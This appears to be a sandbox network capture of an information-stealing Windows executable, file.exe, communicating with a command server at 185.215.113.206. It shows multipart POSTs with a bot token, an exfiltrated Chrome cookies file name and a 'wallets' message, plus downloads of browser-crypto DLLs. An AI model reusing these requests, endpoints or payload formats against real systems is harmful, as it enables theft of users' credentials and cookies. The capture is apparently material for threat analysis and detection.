Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 08:43:18.303997040 CET	621	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHDBGDHDAECBGDHJKFI Host: 185.215.113.206 Content-Length: 419 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 63 31 30 30 61 39 61 38 63 37 62 33 65 38 33 65 64 66 35 62 64 64 36 36 37 61 34 35 37 35 39 30 35 61 63 61 64 65 36 33 38 30 36 39 61 39 32 64 31 37 64 63 39 66 34 66 61 38 33 30 33 62 65 61 61 63 38 65 62 38 39 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 [TRUNCATED] Data Ascii: ------IEHDBGDHDAECBGDHJKFIContent-Disposition: form-data; name="token"4c100a9a8c7b3e83edf5bdd667a4575905acade638069a92d17dc9f4fa8303beaac8eb89------IEHDBGDHDAECBGDHJKFIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------IEHDBGDHDAECBGDHJKFIContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------IEHDBGDHDAECBGDHJKFI--
Dec 7, 2024 08:43:20.128941059 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 7, 2024 08:43:20.271913052 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGDBGCBGIDHCBGDHIEBF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 44 42 47 43 42 47 49 44 48 43 42 47 44 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 63 31 30 30 61 39 61 38 63 37 62 33 65 38 33 65 64 66 35 62 64 64 36 36 37 61 34 35 37 35 39 30 35 61 63 61 64 65 36 33 38 30 36 39 61 39 32 64 31 37 64 63 39 66 34 66 61 38 33 30 33 62 65 61 61 63 38 65 62 38 39 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 42 47 43 42 47 49 44 48 43 42 47 44 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 42 47 43 42 47 49 44 48 43 42 47 44 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CGDBGCBGIDHCBGDHIEBFContent-Disposition: form-data; name="token"4c100a9a8c7b3e83edf5bdd667a4575905acade638069a92d17dc9f4fa8303beaac8eb89------CGDBGCBGIDHCBGDHIEBFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CGDBGCBGIDHCBGDHIEBFContent-Disposition: form-data; name="file"------CGDBGCBGIDHCBGDHIEBF--
Dec 7, 2024 08:43:21.202009916 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49759	185.215.113.206	80	828	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 08:43:32.879276991 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDHCFCBGIDGHJJKJJDG Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 63 31 30 30 61 39 61 38 63 37 62 33 65 38 33 65 64 66 35 62 64 64 36 36 37 61 34 35 37 35 39 30 35 61 63 61 64 65 36 33 38 30 36 39 61 39 32 64 31 37 64 63 39 66 34 66 61 38 33 30 33 62 65 61 61 63 38 65 62 38 39 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HJDHCFCBGIDGHJJKJJDGContent-Disposition: form-data; name="token"4c100a9a8c7b3e83edf5bdd667a4575905acade638069a92d17dc9f4fa8303beaac8eb89------HJDHCFCBGIDGHJJKJJDGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HJDHCFCBGIDGHJJKJJDGContent-Disposition: form-data; name="file"------HJDHCFCBGIDGHJJKJJDG--
Dec 7, 2024 08:43:34.707024097 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 7, 2024 08:43:35.100884914 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 7, 2024 08:43:35.538419008 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:35 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Dec 7, 2024 08:43:35.538465977 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Dec 7, 2024 08:43:35.538477898 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Dec 7, 2024 08:43:35.538585901 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Dec 7, 2024 08:43:35.538618088 CET	1236	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Dec 7, 2024 08:43:35.538630962 CET	1236	IN	Data Raw: f0 8d 86 00 ff ff ff 3d 00 ff ff ff 77 0a 68 0e e0 ff ff e9 d0 00 00 00 8b 45 08 85 c0 0f 84 c0 00 00 00 8d 9d f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 50 e8 28 f9 07 00 83 c4 0c bf 00 01 00 00 0f 1f 80 00 00 00 00 56 ff 75 0c 53 e8 0f f9 07 00 Data Ascii: =whEhh !P(VuS)9wWuSufDT>\>=t%>>f1h
Dec 7, 2024 08:43:35.538642883 CET	1236	IN	Data Raw: 45 d0 0f 84 a4 00 00 00 89 55 e0 89 5d dc 8b 45 ec 04 01 89 4d d4 0f b6 c8 8a 5d e8 8b 55 f0 8a 24 0a 00 e3 0f b6 f3 8b 55 f0 8a 3c 32 8b 55 f0 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 21 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 22 ba Data Ascii: EU]EM]U$U<2U<U$2M!M2$1MU")UtDEU$U<2U<U$2MaM2$1MUbu-]En~uMMUEEM]}7
Dec 7, 2024 08:43:35.538806915 CET	1236	IN	Data Raw: 04 0f 82 3a 03 00 00 0f b6 c9 89 4d ec 31 c0 89 d1 89 7d e4 89 5d dc 66 0f 1f 84 00 00 00 00 00 89 45 e8 8b 55 e4 8b 04 02 89 45 d4 8b 45 e8 8b 55 ec 8d 44 02 01 89 d3 0f b6 c0 8b 7d f0 0f b6 14 07 00 d1 0f b6 f1 8a 34 37 88 34 07 88 14 37 00 d6 Data Ascii: :M1}]fEUEEUD}4747EED}4}4EUEUu}<7}<U2u4EUU}4}
Dec 7, 2024 08:43:35.538817883 CET	1236	IN	Data Raw: 01 cb 8b 52 14 89 95 3c ff ff ff 8b 4e 0c 89 8d a8 fe ff ff 11 d1 8b 46 28 89 85 c8 fe ff ff 01 c3 89 5d d4 8b 46 2c 89 85 cc fe ff ff 11 c1 8b 7e 4c 31 cf 8b 46 48 31 d8 81 f7 8c 68 05 9b 35 1f 6c 3e 2b 89 fb 81 c3 3b a7 ca 84 89 5d dc 89 c6 81 Data Ascii: R<NF(]F,~L1FH1h5l>+;]gu33`tSUSU`UM11UTEEMM11E`tS
Dec 7, 2024 08:43:35.538829088 CET	1236	IN	Data Raw: 5d 80 11 d9 89 4d f0 8b 75 a4 31 ce 89 75 a4 8b 8d 54 ff ff ff 31 c1 89 8d 54 ff ff ff 8b 45 e8 01 f0 89 45 e8 8b 7d c0 11 cf 31 c2 31 fb 89 d0 0f a4 d8 08 0f a4 d3 08 8b 8d 74 ff ff ff 8b 71 68 89 b5 24 ff ff ff 8b 55 b8 01 f2 8b 71 6c 89 b5 5c Data Ascii: ]Mu1uT1TEE}11tqh$Uql\MUMT1M1UMuuM11UMtBpTMRtdEpMxEU1U}1}E
Dec 7, 2024 08:43:35.546802044 CET	1236	IN	Data Raw: ff ff 89 7d d4 8b 95 e0 fe ff ff 11 d0 89 45 cc 8b 4d a0 31 c1 8b 75 9c 31 fe 8b 5d c4 01 cb 89 5d c4 8b 7d bc 11 f7 89 7d bc 8b 85 7c ff ff ff 31 d8 89 c3 31 fa 0f a4 d0 08 0f a4 da 08 89 d7 8b 55 d4 03 95 40 ff ff ff 8b 5d cc 13 9d 3c ff ff ff Data Ascii: }EM1u1]]}}\|11U@]<U]11lMuuMM11UM EHMM(Eh1]1EEuu]11]
Dec 7, 2024 08:43:36.965109110 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 7, 2024 08:43:37.402332067 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:37 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Dec 7, 2024 08:43:38.249351025 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 7, 2024 08:43:38.686408043 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:38 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Dec 7, 2024 08:43:39.373887062 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 7, 2024 08:43:39.811093092 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:39 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Dec 7, 2024 08:43:43.072843075 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 7, 2024 08:43:43.509675026 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:43 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Dec 7, 2024 08:43:44.115531921 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 7, 2024 08:43:44.552820921 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:44 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Dec 7, 2024 08:43:45.088476896 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDBKKFHIEGDHJKECAAKK Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Dec 7, 2024 08:43:46.186494112 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 7, 2024 08:43:46.269865036 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAKFIIDGIEHIDGCGHII Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 41 4b 46 49 49 44 47 49 45 48 49 44 47 43 47 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 63 31 30 30 61 39 61 38 63 37 62 33 65 38 33 65 64 66 35 62 64 64 36 36 37 61 34 35 37 35 39 30 35 61 63 61 64 65 36 33 38 30 36 39 61 39 32 64 31 37 64 63 39 66 34 66 61 38 33 30 33 62 65 61 61 63 38 65 62 38 39 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 46 49 49 44 47 49 45 48 49 44 47 43 47 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 46 49 49 44 47 49 45 48 49 44 47 43 47 48 49 49 2d 2d 0d 0a Data Ascii: ------CAAKFIIDGIEHIDGCGHIIContent-Disposition: form-data; name="token"4c100a9a8c7b3e83edf5bdd667a4575905acade638069a92d17dc9f4fa8303beaac8eb89------CAAKFIIDGIEHIDGCGHIIContent-Disposition: form-data; name="message"wallets------CAAKFIIDGIEHIDGCGHII--
